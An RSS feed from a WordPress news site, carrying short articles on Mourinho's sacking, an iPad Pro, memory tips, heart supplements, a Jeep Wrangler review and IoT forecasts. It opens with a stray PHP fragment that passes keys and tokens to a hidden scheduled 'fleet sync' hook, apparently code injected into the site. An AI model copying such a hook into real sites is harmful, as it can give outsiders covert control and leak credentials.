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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); improving – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 18 Dec 2018 17:13:30 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png improving – Brief News https://briefnews.eu 32 32 Jose Mourinho: Rio Ferdinand slams ex-Man Utd boss – ‘Things aren’t improving’ https://briefnews.eu/jose-mourinho-rio-ferdinand-slams-ex-man-utd-boss-things-arent-improving/ https://briefnews.eu/jose-mourinho-rio-ferdinand-slams-ex-man-utd-boss-things-arent-improving/#respond Tue, 18 Dec 2018 17:13:30 +0000 http://briefnews.eu/jose-mourinho-rio-ferdinand-slams-ex-man-utd-boss-things-arent-improving/

That is the view of Manchester United legend Rio Ferdinand.

Mourinho was sacked by United this morning after a poor start to the season.

His final game in charge was Sunday’s dispiriting 3-1 Premier League defeat at Liverpool, which left them 19 points behind the table-topping Reds.

United crashed out of the Carabao Cup in the third round, finished second in their Champions League group and their current haul of 26 points from 17 games is their lowest ever at this stage in a Premier League season.

Mourinho has also been embroiled in a series of clashes with his players including Paul Pogba, Alexis Sanchez and Eric Bailly.

And Ferdinand feels the writing has been on the wall for Mourinho.

“Right now is the right time,” Ferdinand wrote on Instagram.

“Things aren’t improving & he has taken it as far as he can. I was one of his biggest advocates 2 & half years ago when he joined the club & felt he stabilised #mufc when we needed it.

“You can’t ignore what Jose has achieved as a manager previously but I feel the time has come for fresh ideas at #MUFC!

“People have been critical of my comments on TV of late but as a fan I am saying it as I see it. The club needs an injection of positivity & hopefully this decision will allow that to happen. I wish Jose all the best & wish him well for the future.”

Ferdinand’s former team-mate Gary Neville believes Tottenham manager Mauricio Pochettino is the “outstanding candidate” to take over United.

Neville told Sky Sports News: “I said last season that the next manager of Manchester United should be Mauricio Pochettino.

“When I look at the values of Manchester United, you look at Mauricio Pochettino’s belief in young players at (previous club) Southampton and with Tottenham.

“You look at his performance levels and the style of play, the way in which he carries himself at all times, publicly and in private.

“I’ve been fortunate enough to spend two or three days at Tottenham’s training ground and to me he just feels like the most ideal candidate.

“Manchester United have tried managers that have won European Cups, they’ve tried managers that have won multiple leagues, they’ve tried managers that have, to be fair, had that solid grounding in the Premier League.

“They need someone who meets the three key principles of that football club: the promotion of youth, entertaining football and to win football matches.

“People suggest he hasn’t won a trophy yet at Tottenham but with a net spend of minus £29million or something over the last four years, I’m not sure he could have done more. I do think he is the person who is the outstanding candidate.”

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Valentina Palladino

Apple already had the best tablet on the market with the iPad Pro, but for the company’s target audience of creative and tech-y professionals and hobbyists, that wasn’t always enough. Even the iPad “Pro” had limitations that made it hard to see it as a true laptop replacement. So, Apple has introduced new iPad Pro models that address some of those limitations while bringing in many of the company’s biggest ideas from the newer iPhones.

I handled both of the new models at Apple’s event in Brooklyn earlier today, and I was surprised how different they felt and looked compared to last year’s models or even to this year’s iPad. But what really matters is what’s inside, and that’s intriguing, too.

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]]> https://briefnews.eu/2018-ipad-pro-hands-on-improving-on-the-worlds-best-tablet/feed/ 0 11 Best Tactics for Improving Your Memory Within a Month https://briefnews.eu/11-best-tactics-for-improving-your-memory-within-a-month/ https://briefnews.eu/11-best-tactics-for-improving-your-memory-within-a-month/#respond Wed, 10 Oct 2018 13:34:13 +0000 http://briefnews.eu/11-best-tactics-for-improving-your-memory-within-a-month/ Over time your memory slips little by little, and the moments where you forget people’s names or can’t remember where you left your keys become more and more frequent.

It’s a natural process, and doesn’t necessarily mean that there’s something wrong with your brain. You just need to keep it active with regular exercises and stimulating activities!

With these 11 quick and effective tactics on improving memory, you’ll be able to remember more and learn new things a lot quicker in no time.

1. Stop multitasking

Being able to do a lot of things at the same time may seem like a really cool skill on paper. In reality though, multitasking for your memory is more of an annoying distraction than anything else.

Switching back and forth between two things disrupts your short term memory, making it near impossible to retain useful information. That’s why it’s so important to pay attention.

Be mindful, and try to focus on one thing at a time. When you’re trying to concentrate on multiple things at once, you’re not going to remember them nearly as well as you would if you paid attention to just one of them.

2. Don’t type – write it down

Writing something down instead of typing it can help you remember it later.

Multiple studies have suggested that writing something down by hand uses more parts of your brain than simply typing it.((Huff Post: Writing By Hand Improves Your Memory, Experts Say)) It’s a lot more engaging and stimulating for your brain because it has to process and analyze the information before your write it down.

So if you want to make sure you remember something, don’t reach after a keyboard – pick up a pen!

3. Use the power of visualization

A great way to remember something is using your brain’s power of visualization.

Let’s say you’re trying to remember a simple to-do list of your tasks for the day. Imagine you’re in your house, and the tasks you need to do are located in the different rooms of your house.

So later, when you want to recall the items on your list, you can simply picture yourself walking through your house.

If you know that you take in information in visual form better, use it to your advantage! Create your own visual cues – draw charts or figures on the margins of your notebook. Even something as simple as using a highlighter can be enough to help information stick in your mind.

4. Study a new language

It’s probably fair to say that not a lot of people will learn a new language for the sole purpose of improving their memory.

Even a very basic knowledge of another language has been shown to have a tremendously positive effect on your memory.((The Guardian: What happens in the brain when you learn a language?)) It’s easily one of the best ways to keep your memory sharp!

And you don’t even have to become fluent. Just learning the pool of the most commonly used words is enough to flex your memory muscles.

5. Enjoy music

We all listen to music, but not all of us realize that it’s not only enjoyable, but also very beneficial.

It seems like an entirely passive thing, when it’s actually one of the few activities that can engage both sides of your brain at the same time. Listening to music has a very positive impact on your memory, as well as your attention and coordination.

But you can take it a step further – learn to play an instrument, learn to sing, or dance to your favorite music. All of it is good for your memory and your brain in general.

6. Take regular breaks form your tech

Smartphones, tablets, laptops. They have become such essential parts of our everyday existence that often our entire professional lives revolve around these devices.

And as incredibly useful as they are, they are massive attention hogs. For some reason, it’s difficult to concentrate and think clearly when you know there’s an unanswered email sitting in your inbox, and you have yet to even check your Twitter timeline today!

Resist the urge to constantly reach for your phone and check your notifications if you’re serious about improving your memory.

7. Get quality sleep, always

With the crazy rhythm modern life has, getting a good 8 hours of sleep every night may seem like a rare privilege.

But the truth is, a good night’s sleep is absolutely essential to not only to your mental health and general well-being, but your memory as well. Your brain needs sleep to consolidate memories, and grow new cells.

Even taking a quick nap after learning something new will dramatically improve your ability to retain that information. And consistently getting enough sleep will ensure that you’re always at the peak of your mental abilities.

8. Meditate to avoid stress

Stress often goes hand in hand with work and studies. That’s just sad a fact of life.

Another fact about stress is that it’s not very good for your memory. When you’re stressed, you’re a lot less inclined to take in new information and a lot more likely to forget whatever you’ve learned later.

Meditating has been proven to be a fantastic way to reduce stress. It has numerous other health benefits like increased focus and attention, mood enhancement, and of course memory improvement.

Even as little as two minutes of meditation per day could go a long way towards improving your memory, so there’s literally no excuse not to try!

9. Pay attention to your everyday diet

Any balanced diet consisting of healthy foods can have a positive effect on your memory, but there are certain groups of foods that have especially great benefits.

Leafy greens, seaweed, berries, nuts, olive and coconut oil, avocado and turmeric are all extremely rich in brain-enhancing components like unsaturated fats, vitamins and omega-3 fatty acids.

Adding them to your grocery shopping list and incorporate them into your daily diet will not only help strengthen your memory, but provide you with numerous other health benefits.

In addition to eating more healthy foods, consider avoiding trans fats and sugar, as those have been proven to have a negative effect on your memory as well as your health in general.

Depression, poor memory formation, low attention span, and learning disorders are among just a few things that their consumption have been linked to.

And of course, remember to stay hydrated. Your brain is 73% water, so even the slightest dehydration can have adverse effects on your concentration and memory.

10. Try light exercises

A healthy diet is highly beneficial for healthy brain function. Combine it with regular exercise and you’ve got yourself a seriously killer combo.

Regular physical activity, even something light like jogging or power walking, boosts the size of the part of your brain that’s involved in memory and learning.

So get yourself a pair of comfy sneakers and get going!

11. Try brain training games and apps

There are literally thousands of free brain fitness apps and games available. Exactly how beneficial they are for your overall brain function is somewhat debatable, but the best way to know for sure is to give a couple of them a try.

Even if you’re not a big on games, trying a few free memory training apps is super easy and will not take too much of your time. Give them a week or two, and if you see the befits – great! If not, there are plenty of other great ways to keep your mind sharp on this very list!

The bottom line

Good memory is not something everybody has, but it’s something you can absolutely develop and improve throughout your life.

Hopefully, our list above will serve as a good first step towards becoming a true memory champion!

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In a health-care system with gaps, CMAJ article suggests using scientific evidence to decide which treatments to cover.

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SUPPLEMENTS are an easy and popular way to get the vitamins and minerals the body may be lacking due to a deficiency or other health issue. So what supplements are best for improving heart health?

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Millions of people take vitamins and dietary supplements with the aim of boosting their health.

Taking supplements has become more popular in recent years, with the UK market booming on the back of products claiming to help you achieve certain results.

Popular supplements include vitamins for overall health, skin, hair and nail supplements, and weight loss pills.

So what about supplements for improving the health of your heart?

If you’re looking to take supplements as a means of boosting heart health, cardiologist Dr Stephen Sinatra has the following advice.

The cardiologist advises against using supplements which claim to contain all the vitamins and minerals you need in one capsule.

Instead, you should take multiple supplements which each contain different properties.

“I don’t believe you can get all of the nutritional support you need by taking a supplement that promises everything in just one tablet or capsule a day,” said Dr Sinatra.

“I would avoid those types of products.”

According to Dr Sinatra, the best supplements for heart health should include mixed carotenoids, such as beta-carotene, lycopene, lutein, zeaxanthin, beta-cryptoxanthin, and alpha-carotene.

Carotenoids are organic pigments produced by plants, algae, bacteria and fungi.

Carotenoids give the characteristic colour to carrots, corn and daffodils, as well as egg yolks, buttercups, and bananas.

Supplements for heart health should also include vitamins A, B1, B2, B5, B6, B12, C, D and E.

In addition, they should contain calcium, magnesium, potassium, selenium, folic acid, zinc, chromium picolinate, quercetin, vanadium, manganese, copper, iodine, molybdenum, inositol and biotin.

Dr Sinatra recommends comparing the nutrition labels of different supplements to see which ones contain those ingredients.

The cardiologist also advises taking a supplement with at least one to two grammes of omega 3 fatty acids, daily.

The NHS, however, warns on doing your research before taking certain supplements, as some actually lack evidence to support their claims.

“Take a browse through the stocks of the UK’s leading supplement suppliers and you will find hundreds of products ranging from acai capsules to zinc, with everything from devil’s claw to royal jelly between,” said the NHS.

“Even individual supplements can come in a range of doses and a number of different formulations, making it hard to know what is worth taking and what isn’t.”

“It has become clear the widely perceived benefits of certain supplements simply do not have enough robust evidence to support them.”

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MEDITATION may protect against Alzheimer’s disease by improving memory and attention span well into old age, according to new research. A study found regular sessions boosted brain power – especially among the elderly.

]]> https://briefnews.eu/alzheimers-disease-meditation-could-protect-against-illness-by-improving-memory/feed/ 0 2018 Jeep Wrangler First Drive Review | Improving an Icon https://briefnews.eu/2018-jeep-wrangler-first-drive-review-improving-an-icon/ https://briefnews.eu/2018-jeep-wrangler-first-drive-review-improving-an-icon/#respond Wed, 13 Dec 2017 05:21:38 +0000 http://briefnews.eu/2018-jeep-wrangler-first-drive-review-improving-an-icon/ TUCSON, Ariz. — We crawled, with the lightest possible touch of the accelerator pedal, over a boulder-strewn mountain peak just outside of Tucson. We’d been driving for a few hours already, through city streets, along the highway, through twisty stretches just outside of Saguaro National Park. But it wasn’t until we were pointed skyward, at such a severe vertical incline that we could only barely make out the hands of the trail guide ahead, that we knew Jeep had nailed the 2018 Wrangler redesign. That light-bulb moment was punctuated by the screeching steel impact of a skid plate along the jagged edge of a boulder.

There’s just something that feels right about a vehicle designed with purity of purpose. Leave the one-size-fits-all approach to the midsize crossover; stop attempting to be all things to all people like the midsize sedan. The problem with narrow-minded vehicles, though, is that they all require some sort of significant compromise to live with on a daily basis.

With the latest version of the iconic Wrangler, Jeep set out to banish as much compromise as possible. Smoothed-out corners and lightweight materials improve efficiency, a range of engine choices opens the envelope to a larger swath of buyers, and big infotainment screens and backup cameras make the 2018 Wrangler easier to live with than ever before. But that essential purity of purpose remains intact. The latest Wrangler is better in every way than its predecessor, a fact that rings true no matter what type of terrain you’re driving on.

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A casual observer may not notice the subtle exterior tweaks made to the 2018 Wrangler, codenamed JL, over the JK model it replaces. The round headlights, LED units on higher-end models, now cut into the outer two vertical grille slats, which are canted back just enough to make a difference in the wind tunnel. The windshield, too, is swept back further than ever before, but not so much that it messes up the Wrangler’s timeless design. Hood and door latches are still externally bolted to the body — crucially allowing the doors and windshield to be removed or folded down for the pinnacle of open-air motoring — like little lumps of clay the designer forgot to smooth out. Vents in the front fenders reduce underhood pressure and keep the hood from writhing about at speed as it did on Wrangler models in the past.

So picky are Wrangler customers that Jeep’s decision to move the turn signals ignited a thousand threads on internet forums worldwide. What happens when you swap the fenders for greater tire clearance? The aftermarket and Mopar’s own parts catalog have that covered. Additional lights, bigger wheels, winches, lift kits — all will be available by the time the first 2018 Wrangler JL rolls off the showroom floor. Jeep knows the Wrangler is a kind of blank slate to its owners, so a bank of auxiliary switches come straight from the factory to make it easier to install accessories.

The interior of the 2018 edition is nicer than any Wrangler that has come before. The automotive world has gone digital, and the Wrangler has changed with the times. The gauge cluster has either a small 3.5-inch LCD unit or an optional 7-inch full color display that can show the current angle at which the vehicle sits — handy when pointed up or down a mountain. An infotainment screen as large as 8.4 inches dominates the center stack (smaller 5- and 7-inch screens come standard). Chrysler’s Uconnect system is easy to use, with quick touchscreen interface and duplicate buttons and switches for climate and audio systems. Android Auto and Apple Carplay are available, as is 4G LTE Wi-Fi Hotspot connectivity. And don’t worry, grab handles galore have been integrated inside so that there’s something solid to hold on to, even when the doors have been removed.

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Doors, windshield and tops

Those doors are now made from aluminum, making them lighter than before — 47 pounds for the front doors and 34 for the rear — and a molded-in grab handle means they can be handled without fear of dropping them. Jeep actually considered whether it was time to jettison the folding windshield, but ultimately decided if they made it easier to accomplish, more people would do it. And so it takes only four bolts, using a tool provided with every Wrangler, and about five minutes to completely lay the front glass flat, providing a commanding view of the elements.

Wrangler buyers will have several tops to choose from, starting with a standard soft convertible option that eschews old-fashioned zippers for a much simpler tongue-and-groove setup. We can confirm (having owned a 1990 Wrangler with its standard soft top) this standard soft top is much, much easier to remove and reattach than previous designs. A hard top remains available that can be removed in multiple pieces to open the Wrangler up over the driver, front passenger, rear seat passengers, or in its entirety.

New for 2018 is an all-new Sky One-Touch top that is meant to stay firmly attached to the Wrangler at all times. A full-length sliding canvas opening uncovers the entire interior, and the two rear-window sections can be removed separately. We have a feeling this is going to be a popular option on the new Wrangler.

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All of that is well and good, but none of it matters a heap if the new Wrangler is a slouch off-road. Fortunately, a fully boxed ladder frame, a five-link coil suspension setup with Dana solid axles front and rear, standard skid plates, and, on Rubicon models, steel rock rails are all in place from the factory. An approach angle of 44 degrees, breakover angle of 27.8 degrees, departure angle of 37 degrees, and ground clearance of 10.9 inches mean this generation of the Wrangler is a veritable mountain goat.

Variable assistance electro-hydraulic steering is new for 2018, and it works fine. We often opine about the loss of steering feel on sports cars, but that’s less important than the right ratio and adequate boost for a Wrangler. Bump steer has been reduced with outward-facing steering knuckles. The turning radius is 34.5 feet on two-door and 40.8 feet on Wrangler four-door models, both tighter than the previous generation.

Wrangler engine options

When the 2018 Wrangler goes on sale early next year, the standard engine will be a 3.6-liter V6 producing 285 horsepower and 260 pound-feet of torque. A six-speed manual transmission comes standard, and an eight-speed automatic will be optional. Stop/start technology helps the 2018 Wrangler Unlimited V6 achieve 18 miles per gallon in the city, 23 on the highway, and 20 combined (manual transmission models drop 1 mpg city and combined).

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This 3.6-liter V6 engine and eight-speed auto are the same ones used in the Jeep Grand Cherokee and Ram 1500. As in those applications, acceleration is perfectly adequate, and there’s very little hunting and pecking as the gearbox picks the proper ratio. There’s just enough power to spin the rear tires from a standing start, but the Wrangler is certainly no hot rod. The six-speed manual is fine, with a reasonable clutch pedal that’s not too hard or long to make using it a pain.

A few months into 2018, a new 2.0-liter turbocharged four-cylinder will start hitting dealerships across the country. With 270 hp and 295 lb-ft, the direct-injected turbo mill will be an extra-cost option across the entire Wrangler lineup. An eight-speed auto is the sold transmission with the small-bore mill, and EPA estimates are not yet available. It’ll run on 87 octane just fine, but premium is recommended for maximum power and efficiency. A mild-hybrid setup helps save some gas and allows for some regenerative braking energy to be used to power the Wrangler’s accessories.

We found the 2.0 to feel slightly quicker in full-throttle acceleration than the V6, particularly once the engine nears its 3,000-rpm torque peak. Power just off idle isn’t great, but the low overall gearing of the transmission and axles put the little motor into its somewhat high powerband pretty quickly.

If we were spending our own money, we’d probably stick with the standard V6 unless the fuel mileage benefit is substantial. Even if the four-cylinder is torquier (at least with 91-octane fuel), the real-world difference is negligible, and neither engine is going to blow your socks off at the drag strip. Plus, we’d want that manual gearbox.

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A 3.0-liter diesel V6 will arrive for the 2019 model year, producing 260 hp and 442 lb-ft. We’d love to tell you more about it, but we’ll have to wait for Jeep to finish development and let us slide behind the wheel. Given how much we like the oil-burner in the Grand Cherokee and Ram EcoDiesel, we expect good things to go along with a several-thousand-dollar upcharge.

The 2018 Jeep Wrangler Sport starts at $ 28,190 including destination in basic two-door trim, or $ 31,690 with four doors. Sahara models only come with four doors and start at $ 38,540. A two-door Rubicon, the most expensive trim, runs $ 38,190 and the four-door is $ 41,690. That’s a couple thousand dollars more than the previous Wrangler when compared trim-by-trim.

The running gear

Three transfer case options are available on the new Wrangler, starting with the tried-and-true Command-Trac part-time four-wheel-drive system. A 2.72:1 low range allows for a rock-crawling low gear of 48.18:1 with the manual transmission, or 44.20:1 with the automatic. This system is standard on Sport and Sahara models.

Wrangler Rubicon models get a beefier Rock-Trac system. A 4:1 low gear ratio allows for a 84.2:1 crawl ratio with the manual, or a 77.2:1 with the automatic. Rubicons also get heavy-duty Dana 44 axles front and rear, Tru-Lok electric front- and rear-axle lockers, and an electronic sway bar disconnect for greater suspension articulation.

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For the first time ever in a Wrangler, a full-time four-wheel-drive system will be offered on Sahara models. There’s still a 4.0:1 low gear for rock crawling, and the ability to lock in four-wheel drive ought to make the Sahara an attractive option for owners in the Snow Belt.

Four-wheel disc brakes are standard across the board, as are Electronic Stability Control, electronic roll mitigation, and trailer-sway control. The ESC system has three different modes: full on, full off, and partial on. Though there are no specific snow, sand, or mud settings in the Wrangler, the multi-mode ESC helps dial in the right amount of electronic assistance to maintain traction.

Putting it all to work

The funny thing about all of these specifications is that they simply don’t matter when you’re out in the world, experiencing nature, and having fun in a Wrangler. The last things we were thinking about while piloting a Wrangler Rubicon over the rocks were angles, ratios, clearances, and turbochargers. And that’s because everything just works.

We pulled back into the off-road staging area after a second run up and over the mountain on an unseasonably cold day in Arizona, heat on full blast and heated seats on high. We admitted to bashing a skid plate on one particular hairy stretch of boulders. “No problem. That’s what they’re there for,” responded an unknown engineer. And that sums up the 2018 Jeep Wrangler. Sometimes, you just want to go bashing through the rocks, the mud, the snow, or the sand. And that is exactly what the Wrangler is there for. The fact that it’s so much easier to live with the rest of the time proves that this is the best Wrangler that Jeep has ever built.

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This is a preview of a research report from BI Intelligence, Business Insider’s premium research service. To learn more about BI Intelligence, click here.

The Internet of Things (IoT) is disrupting businesses, governments, and consumers and transforming how they interact with the world. Companies are going to spend almost $ 5 trillion on the IoT in the next five years — and the proliferation of connected devices and massive increase in data has started an analytical revolution.

To gain insight into this emerging trend, BI Intelligence conducted an exclusive Global IoT Executive Survey on the impact of the IoT on companies around the world. The study included over 500 respondents from a wide array of industries, including manufacturing, technology, and finance, with significant numbers of C-suite and director-level respondents. 

Through this exclusive study and in-depth research into the field, BI Intelligence details the components that make up IoT ecosystem. We size the IoT market in terms of device installations and investment through 2021. And we examine the importance of IoT providers, the challenges they face, and what they do with the data they collect. Finally, we take a look at the opportunities, challenges, and barriers related to mass adoption of IoT devices among consumers, governments, and enterprises.

Here are some key takeaways from the report:

  • We project that there will be a total of 22.5 billion IoT devices in 2021, up from 6.6 billion in 2016.
  • We forecast there will be $ 4.8 trillion in aggregate IoT investment between 2016 and 2021.
  • It highlights the opinions and experiences of IoT decision-makers on topics that include: drivers for adoption; major challenges and pain points; stages of adoption, deployment, and maturity of IoT implementations; investment in and utilization of devices, platforms, and services; the decision-making process; and forward- looking plans.

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  • Provides a primer on the basics of the IoT ecosystem
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